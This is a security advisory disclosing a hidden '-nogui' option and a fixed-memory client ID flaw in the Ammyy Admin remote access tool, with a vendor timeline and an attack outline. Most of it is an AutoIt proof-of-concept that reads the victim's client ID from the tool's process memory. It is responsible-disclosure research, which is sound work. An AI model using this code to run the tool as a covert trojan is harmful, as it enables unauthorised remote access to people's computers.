Ammyy Admin - Hidden hard-coded option and Access Control vulnerability.
Name: Bhadresh Patel
Company/affiliation: Cyberoam Technologies Private Limited
Website: www.cyberoam.com
17-01-2014
CRD-2013-04
Ammyy is in to developing cutting edge internet solutions. They have researched informational technologies and automation management of remote computer access services for many years. The result of their efforts is new Remote Access system "Ammyy Admin".
Ammyy Admin is the easiest way to establish remote desktop connection. You can easily share a remote desktop or control a server over the Internet with Ammyy Admin.
No matter where you are, Ammyy Admin makes it safe and easy to quickly access a remote desktop within a few seconds.
Ammyy Admin is trusted by more than 21 000 000 personal and corporate users.
Product link: http://www.ammyy.com/en/downloads.html
Cyberoam Threat Research Labs discovered Hidden option and Access Control vulnerability in Ammyy Admin tool.
12-08-2013: Vendor notification
13-08-2013: Vendor Response/Feedback
13-12-2013: Vendor Fix/Patch
17-01-2014: Public or Non-Public Disclosure
Version (<=3.2)
Local
CVSS Base Score 7.2 (AV:N/AC:M/Au:N/C:N/I:N/A:P)
There is a Hidden option and Access Control vulnerability in Ammyy Admin tool which allows an attacker to utilize "Ammyy Admin tool" as a trojan horse to access computer without victim's information.
An approach to have hidden option "-nogui" along with storing "client ID" at fixed memory location could be exploited by an attacker to use "Ammyy Admin" as a trojan horse.
An attacker could exploit above vulnerabilities using following steps,
1) Create custom settings.rdp and settings3.bin to allow access to any "computer ID" with predefined password.
2) Use hidden option "-nogui" to run "Ammyy Amin" without the user information.
2) Acquire the client id by reading memory location "004A3658".
3) Send client id to attackers C&C server.
-------- Logs -------
root@bhdresh:~# strings AA_v3.2.exe | grep -i ^"-"
-f=*
=======PoC screenshot=======
http://oi42.tinypic.com/34owtoy.jpg
=======PoC autoit code to hijack client ID=======
Func _memoryopen($iv_pid, $iv_desiredaccess = 2035711, $iv_inherithandle = 1)
If NOT ProcessExists($iv_pid) Then
SetError(1)
Return 0
EndIf
Local $ah_handle[2] = [DllOpen("kernel32.dll")]
If @error Then
SetError(2)
Return 0
EndIf
Local $av_openprocess = DllCall($ah_handle[0], "int", "OpenProcess", "int", $iv_desiredaccess, "int", $iv_inherithandle, "int", $iv_pid)
If @error Then
DllClose($ah_handle[0])
SetError(3)
Return 0
EndIf
$ah_handle[1] = $av_openprocess[0]
Return $ah_handle
EndFunc
Func _memoryread($iv_address, $ah_handle, $sv_type = "dword")
If NOT IsArray($ah_handle) Then
SetError(1)
Return 0
EndIf
Local $v_buffer = DllStructCreate($sv_type)
If @error Then
SetError(@error + 1)
Return 0
EndIf
DllCall($ah_handle[0], "int", "ReadProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")
If NOT @error Then
Local $v_value = DllStructGetData($v_buffer, 1)
Return $v_value
Else
SetError(6)
Return 0
EndIf
EndFunc
Func _memorywrite($iv_address, $ah_handle, $v_data, $sv_type = "dword")
If NOT IsArray($ah_handle) Then
SetError(1)
Return 0
EndIf
Local $v_buffer = DllStructCreate($sv_type)
If @error Then
SetError(@error + 1)
Return 0
Else
DllStructSetData($v_buffer, 1, $v_data)
If @error Then
SetError(6)
Return 0
EndIf
EndIf
DllCall($ah_handle[0], "int", "WriteProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")
If NOT @error Then
Return 1
Else
SetError(7)
Return 0
EndIf
EndFunc
Func _memoryclose($ah_handle)
If NOT IsArray($ah_handle) Then
SetError(1)
Return 0
EndIf
DllCall($ah_handle[0], "int", "CloseHandle", "int", $ah_handle[1])
If NOT @error Then
DllClose($ah_handle[0])
Return 1
Else
DllClose($ah_handle[0])
SetError(2)
Return 0
EndIf
EndFunc
Func setprivilege($privilege, $benable)
Const $token_adjust_privileges = 32
Const $token_query = 8
Const $se_privilege_enabled = 2
Local $htoken, $sp_auxret, $sp_ret, $hcurrprocess, $ntokens, $ntokenindex, $priv
$ntokens = 1
$luid = DllStructCreate("dword;int")
If IsArray($privilege) Then $ntokens = UBound($privilege)
$token_privileges = DllStructCreate("dword;dword[" & (3 * $ntokens) & "]")
$newtoken_privileges = DllStructCreate("dword;dword[" & (3 * $ntokens) & "]")
$hcurrprocess = DllCall("kernel32.dll", "hwnd", "GetCurrentProcess")
$sp_auxret = DllCall("advapi32.dll", "int", "OpenProcessToken", "hwnd", $hcurrprocess[0], "int", BitOR($token_adjust_privileges, $token_query), "int*", 0)
If $sp_auxret[0] Then
$htoken = $sp_auxret[3]
DllStructSetData($token_privileges, 1, 1)
$ntokenindex = 1
While $ntokenindex <= $ntokens
If IsArray($privilege) Then
$priv = $privilege[$ntokenindex - 1]
Else
$priv = $privilege
EndIf
$ret = DllCall("advapi32.dll", "int", "LookupPrivilegeValue", "str", "", "str", $priv, "ptr", DllStructGetPtr($luid))
If $ret[0] Then
If $benable Then
DllStructSetData($token_privileges, 2, $se_privilege_enabled, (3 * $ntokenindex))
Else
DllStructSetData($token_privileges, 2, 0, (3 * $ntokenindex))
EndIf
DllStructSetData($token_privileges, 2, DllStructGetData($luid, 1), (3 * ($ntokenindex - 1)) + 1)
DllStructSetData($token_privileges, 2, DllStructGetData($luid, 2), (3 * ($ntokenindex - 1)) + 2)
DllStructSetData($luid, 1, 0)
DllStructSetData($luid, 2, 0)
EndIf
$ntokenindex += 1
WEnd
$ret = DllCall("advapi32.dll", "int", "AdjustTokenPrivileges", "hwnd", $htoken, "int", 0, "ptr", DllStructGetPtr($token_privileges), "int", DllStructGetSize($newtoken_privileges), "ptr", DllStructGetPtr($newtoken_privileges), "int*", 0)
$f = DllCall("kernel32.dll", "int", "GetLastError")
EndIf
$newtoken_privileges = 0
$token_privileges = 0
$luid = 0
If $sp_auxret[0] = 0 Then Return 0
$sp_auxret = DllCall("kernel32.dll", "int", "CloseHandle", "hwnd", $htoken)
If NOT $ret[0] AND NOT $sp_auxret[0] Then Return 0
Return $ret[0]
EndFunc
Func _memorypointerread($iv_address, $ah_handle, $av_offset, $sv_type = "dword")
If IsArray($av_offset) Then
If IsArray($ah_handle) Then
Local $iv_pointercount = UBound($av_offset) - 1
Else
SetError(2)
Return 0
EndIf
Else
SetError(1)
Return 0
EndIf
Local $iv_data[2], $i
Local $v_buffer = DllStructCreate("dword")
For $i = 0 To $iv_pointercount
If $i = $iv_pointercount Then
$v_buffer = DllStructCreate($sv_type)
If @error Then
SetError(@error + 2)
Return 0
EndIf
$iv_address = "0x" & Hex($iv_data[1] + $av_offset[$i])
DllCall($ah_handle[0], "int", "ReadProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")
If @error Then
SetError(7)
Return 0
EndIf
$iv_data[1] = DllStructGetData($v_buffer, 1)
ElseIf $i = 0 Then
DllCall($ah_handle[0], "int", "ReadProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")
If @error Then
SetError(7)
Return 0
EndIf
$iv_data[1] = DllStructGetData($v_buffer, 1)
Else
$iv_address = "0x" & Hex($iv_data[1] + $av_offset[$i])
DllCall($ah_handle[0], "int", "ReadProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")
If @error Then
SetError(7)
Return 0
EndIf
$iv_data[1] = DllStructGetData($v_buffer, 1)
EndIf
Next
$iv_data[0] = $iv_address
Return $iv_data
EndFunc
Func _memorypointerwrite($iv_address, $ah_handle, $av_offset, $v_data, $sv_type = "dword")
If IsArray($av_offset) Then
If IsArray($ah_handle) Then
Local $iv_pointercount = UBound($av_offset) - 1
Else
SetError(2)
Return 0
EndIf
Else
SetError(1)
Return 0
EndIf
Local $iv_structdata, $i
Local $v_buffer = DllStructCreate("dword")
For $i = 0 To $iv_pointercount
If $i = $iv_pointercount Then
$v_buffer = DllStructCreate($sv_type)
If @error Then
SetError(@error + 3)
Return 0
EndIf
DllStructSetData($v_buffer, 1, $v_data)
If @error Then
SetError(8)
Return 0
EndIf
$iv_address = "0x" & Hex($iv_structdata + $av_offset[$i])
DllCall($ah_handle[0], "int", "WriteProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")
If @error Then
SetError(9)
Return 0
Else
Return $iv_address
EndIf
ElseIf $i = 0 Then
DllCall($ah_handle[0], "int", "ReadProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")
If @error Then
SetError(3)
Return 0
EndIf
$iv_structdata = DllStructGetData($v_buffer, 1)
Else
$iv_address = "0x" & Hex($iv_structdata + $av_offset[$i])
DllCall($ah_handle[0], "int", "ReadProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")
If @error Then
SetError(3)
Return 0
EndIf
$iv_structdata = DllStructGetData($v_buffer, 1)
EndIf
Next
EndFunc
Func _memorygetbaseaddress($ah_handle, $ihexdec = 0)
Local $iv_address = 1048576
Local $v_buffer = DllStructCreate("dword;dword;dword;dword;dword;dword;dword")
Local $vdata
Local $vtype
If NOT IsArray($ah_handle) Then
SetError(1)
Return 0
EndIf
DllCall($ah_handle[0], "int", "VirtualQueryEx", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer))
If NOT @error Then
$vdata = Hex(DllStructGetData($v_buffer, 2))
$vtype = Hex(DllStructGetData($v_buffer, 3))
While $vtype <> "00000080"
DllCall($ah_handle[0], "int", "VirtualQueryEx", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer))
$vdata = Hex(DllStructGetData($v_buffer, 2))
$vtype = Hex(DllStructGetData($v_buffer, 3))
If Hex($iv_address) = "01000000" Then ExitLoop
$iv_address += 65536
WEnd
If $vtype = "00000080" Then
SetError(0)
If $ihexdec = 1 Then
Return Dec($vdata)
Else
Return $vdata
EndIf
Else
SetError(2)
Return 0
EndIf
Else
SetError(3)
Return 0
EndIf
EndFunc
Func _memorymodulegetbaseaddress($ipid, $smodule)
If NOT ProcessExists($ipid) Then Return SetError(1, 0, 0)
If NOT IsString($smodule) Then Return SetError(2, 0, 0)
Local $psapi = DllOpen("psapi.dll")
Local $hprocess
Local $permission = BitOR(2, 1024, 8, 16, 32)
If $ipid > 0 Then
Local $hprocess = DllCall("kernel32.dll", "ptr", "OpenProcess", "dword", $permission, "int", 0, "dword", $ipid)
If $hprocess[0] Then
$hprocess = $hprocess[0]
EndIf
EndIf
Local $modules = DllStructCreate("ptr[1024]")
Local $acall = DllCall($psapi, "int", "EnumProcessModules", "ptr", $hprocess, "ptr", DllStructGetPtr($modules), "dword", DllStructGetSize($modules), "dword*", 0)
If $acall[4] > 0 Then
Local $imodnum = $acall[4] / 4
Local $atemp
For $i = 1 To $imodnum
$atemp = DllCall($psapi, "dword", "GetModuleBaseNameW", "ptr", $hprocess, "ptr", Ptr(DllStructGetData($modules, 1, $i)), "wstr", "", "dword", 260)
If $atemp[3] = $smodule Then
DllClose($psapi)
Return Ptr(DllStructGetData($modules, 1, $i))
EndIf
Next
EndIf
DllClose($psapi)
Return SetError(-1, 0, 0)
EndFunc
#EndRegion
Func _memreaddll($dll, $offset, $ah_handle, $sv_type = "dword")
$staticoffset = Dec($offset)
$baseaddr = _memorymodulegetbaseaddress($ah_handle, $dll)
$finaladdr = "0x" & Hex($baseaddr + $staticoffset)
$memtest = _memoryread($finaladdr, $ah_handle, $sv_type)
Return $memtest
EndFunc
Func _memwritedll($dll, $offset, $value, $ah_handle, $sv_type = "dword")
$staticoffset = Dec($offset)
$baseaddr = _memorymodulegetbaseaddress($ah_handle, $dll)
$finaladdr = "0x" & Hex($baseaddr + $staticoffset)
$memtest = _memorywrite($finaladdr, $ah_handle, $value, $sv_type)
Return $memtest
EndFunc
Func _memwritedllbytearray($dll, $offset, $ah_handle, $v_array)
Local $staticoffset = Dec($offset)
Local $baseaddr = _memorymodulegetbaseaddress($ah_handle, $dll)
Local $finaladdr = "0x" & Hex($baseaddr + $staticoffset)
Local $memtest = _memorywritebytearray($finaladdr, $ah_handle, $v_array)
Return $memtest
EndFunc
Func _memorywritebytearray($iv_address, $ah_handle, $v_array)
If NOT IsArray($ah_handle) Then
SetError(1)
Return 0
EndIf
If NOT IsArray($v_array) Then
Return 0
EndIf
Local $emax = UBound($v_array)
Local $bytestring = ""
For $i = 0 To $emax - 1
$bytestring = $bytestring & "byte;"
Next
Local $v_buffer = DllStructCreate($bytestring)
If @error Then
Return 0
Else
For $i = 1 To $emax
DllStructSetData($v_buffer, $i, $v_array[$i - 1])
If @error Then
Return 0
EndIf
Next
EndIf
DllCall($ah_handle[0], "int", "WriteProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")
If NOT @error Then
Return 1
Else
SetError(7)
Return 0
EndIf
EndFunc
FileChangeDir(@TempDir)
FileDelete("id")
$id = ProcessExists("AAv3.exe")
Local $file = FileOpen("id", 1)
$memoryopen = _memoryopen($id)
While 1
$mem_read1 = _memoryread("0x" & "004A3658", $memoryopen)
If NOT $mem_read1 = "" Then
MsgBox(0, "Cyberoam Threat Research Labs", $mem_read1)
FileWrite($file, $mem_read1)
ExitLoop
EndIf
Sleep(100)
WEnd
_memoryclose($memoryopen)
The attacker needs to entice victims to perform an action in order to exploit this vulnerability.
The security risk of Hidden option and Access Control vulnerability is estimated as High.
Cyberoam Threat Research Labs - Bhadresh Patel
The information provided in this advisory is provided as it is without any warranty. Any modified copy or reproduction, including partially usages, of this file requires authorization from Cyberoam Threat Research Labs. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Cyberoam Threat Research Labs.
The first attempt at contact will be through any appropriate contacts or formal mechanisms listed on the vendor Web site, or by sending an e-mail with the pertinent information about the vulnerability. Simultaneous with the vendor being notified, Cyberoam may distribute vulnerability protection filters to its customers' IPS devices through the IPS upgrades.
If a vendor fails to respond after five business days, Cyberoam Threat Research Labs may issue a public advisory disclosing its findings fifteen business days after the initial contact.